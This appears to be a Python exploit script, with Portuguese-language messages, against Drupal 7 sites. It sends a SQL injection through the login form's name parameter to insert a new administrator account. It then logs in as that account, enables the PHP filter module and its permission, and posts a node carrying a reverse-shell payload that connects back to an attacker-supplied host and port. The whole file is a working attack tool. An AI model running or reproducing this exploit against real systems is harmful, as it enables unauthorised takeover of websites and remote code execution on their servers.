import sys,requests,bs4
from banner import *
from blackcatx import DrupalHash
import readline

session = requests.session()


def new_usuario(usuario, senha, host):
    import urllib.request as urllib
    from urllib.error import HTTPError, URLError

    path = '/?q=node&destination=node'


    hash_drup = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", senha).get_hash()
    post_data = "name[0%20;insert+into+users+(status,+uid,+name,+pass)+SELECT+1,+MAX(uid)%2B1,+%27"\
        +usuario+"%27,+%27"+hash_drup[:55]+"%27+FROM+users;insert+into+users_roles+(uid,+rid)+VALUES+((SELECT+uid+FROM+users+WHERE+name+%3d+%27"\
        +usuario+"%27),+3);;#%20%20]=test3&name[0]=test&pass=shit2&test2=test&form_build_id=&form_id=user_login_block&op=Log+in"


    try:
        req = urllib.Request(host+path, data=post_data.encode('utf-8'))
        content = urllib.urlopen(req).read()

        if "mb_strlen() expects parameter 1" in content.decode():
            print(sucess.format("[!] VULNERABLE!"))
        
            print(natal.format("[!] Administrator user created!"))

            print("[*] Login: "+warning.format(usuario))
            print("[*] Pass: "+warning.format(senha))
            print("[*] Url: "+warning.format(host))

        else:
            print(error.format("[X] NOT Vulnerable :("))

    except HTTPError as e:

        print("[X] HTTP Error: "+str(e.reason)+" ("+str(e.code)+")")

    except URLError as e:

        print ("[X] Connection error: "+str(e.reason))

    return True


def make_shell(rhost, lh,p,usuario, senha):
    
    global session, revers_exploit,php_payload

    def get_token(response: session):
        soup = bs4.BeautifulSoup(response.text,'html.parser')
        form_token = soup.findAll('input')
        
        _ = ''
        for i in form_token:
            if 'form_token' in str(i):
                _ =  str(i).split('"')[-2]
        
        if len(_) == 0:
            print('não foi possivel pegar o token, encerrando o processo.')
            exit()
        
        return _
        
    
    login = {'name':usuario,
            'pass':senha,
            'form_build_id':'',
            'form_id':'user_login_block',
            'op':'Log+in'}
    
    path_php_act = '/?q=admin/modules'
    act_php_post = '/?q=admin/modules/list/confirm'
    path_g = '/?q=node/add/page&render=overlay'
    path_p = '/?q=node%2Fadd%2Fpage&render=overlay&render=overlay'
    path_permission_g = '/?q=admin/people/permissions&render=overlay'
    path_permission_p = '/?q=admin/people/permissions&render=overlay&render=overlay' 
    
    _ = php_payload.format(lh, p)
    
    try:
        response = session.post(rhost, data=login)
    except TimeoutError:
        print(warning.format('Timeout ao fazer login'))
        exit()
    
    print(warning.format('[!] Ativando php'))
    act_php['form_token'] =get_token(session.get(rhost+path_php_act))
    session.post(rhost+act_php_post, data=act_php)
 
    print(warning.format('[!] Ativando permissão de codigos php'))
    act_perm_php['form_token'] = get_token(session.get(rhost+path_permission_g))
    session.post(rhost+path_permission_p, data=act_perm_php)
    
    print(warning.format('[!] Enviando shell'))
    revers_exploit['body[und][0][value]'] = _
    revers_exploit['form_token'] = get_token(session.get(rhost+path_g))
    revers_exploit['name'] = usuario
    response = session.post(rhost+path_p,data=revers_exploit)
    


def main():
    
    def confirm_shell():
        print(natal.format('Vamos abrir a conexão!!'))
        print(f'Esteja escutando na porta: {LPORT}')
        input(warning.format('Quando estiver pronto para receber, aperte enter'))
        make_shell(RHOST,LHOST, LPORT, USER, PASSW)
        exit()
    

    if len(sys.argv) != 6:
        print('Tem algo de errado, consulte o -h\n recebido: ')
        for i in sys.argv:
            print(i, end=' ')
        print('\nEsperado: USER PASSW LHOST LPORT RHOST')
        exit()
    
    USER, PASSW, LHOST, LPORT, RHOST = sys.argv[1:]

    if 'http://' not in RHOST:
        RHOST = 'http://'+RHOST

    if 'n' not in input('Deseja criar um usuario?(s/n)\n>>> ').lower():
        
        if new_usuario(USER,PASSW,RHOST):
            print(sucess.format('Exploit meidim favela conseguiu criar o usuario'))
            
            if 's' in input('Deseja explorar a coneção?(s/n)\n>>> ').lower():
                confirm_shell()
        else:
            print(error.format('Deu ruim! Vc tem que parar de arrumar essas treta ai :O \nMissão abortada'))

    elif 's' in input('Deseja explorar a coneção?(s/n)\n>>> '):
        confirm_shell()     

    print('saindo do exploit ;)')
    exit()

if __name__ == '__main__':
    try:
        if '-h' in sys.argv:
            print('Necessario passar as invormações na seguinte ordem:')
            print('USER PASSW LHOST LPORT RHOST')
            exit()
        main()
    except KeyboardInterrupt:
        print('\nAbortado pelo usuario')
